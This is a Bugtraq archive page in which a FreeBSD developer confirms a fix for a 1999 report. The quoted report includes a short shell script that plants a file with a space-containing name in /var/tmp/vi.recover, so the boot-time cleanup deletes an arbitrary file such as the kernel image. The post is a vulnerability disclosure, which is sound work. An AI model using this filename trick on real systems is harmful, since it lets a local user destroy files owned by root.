Bugtraq mailing list archives
Re: vibackup.sh
From: kris () HUB FREEBSD ORG (Kris Kennaway)
Date: Wed, 5 Jan 2000 02:22:40 -0800
This has just been fixed in FreeBSD 2.2-STABLE, 3.4-STABLE and 4.0-CURRENT. Thanks! Kris On Fri, 31 Dec 1999, Loneguard wrote:
Looks like someone noticed this at some point in OpenBSD. Its broken rather than fixed ;( #!/bin/sh # # vibackup.sh - Loneguard 22/05/99 # Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion # of files # touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz' chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz' echo Now wait for ( or cause ) a reboot...
Current thread:
- Re: vibackup.sh Todd C. Miller (Dec 31)
- <Possible follow-ups>
- Re: vibackup.sh Kris Kennaway (Jan 05)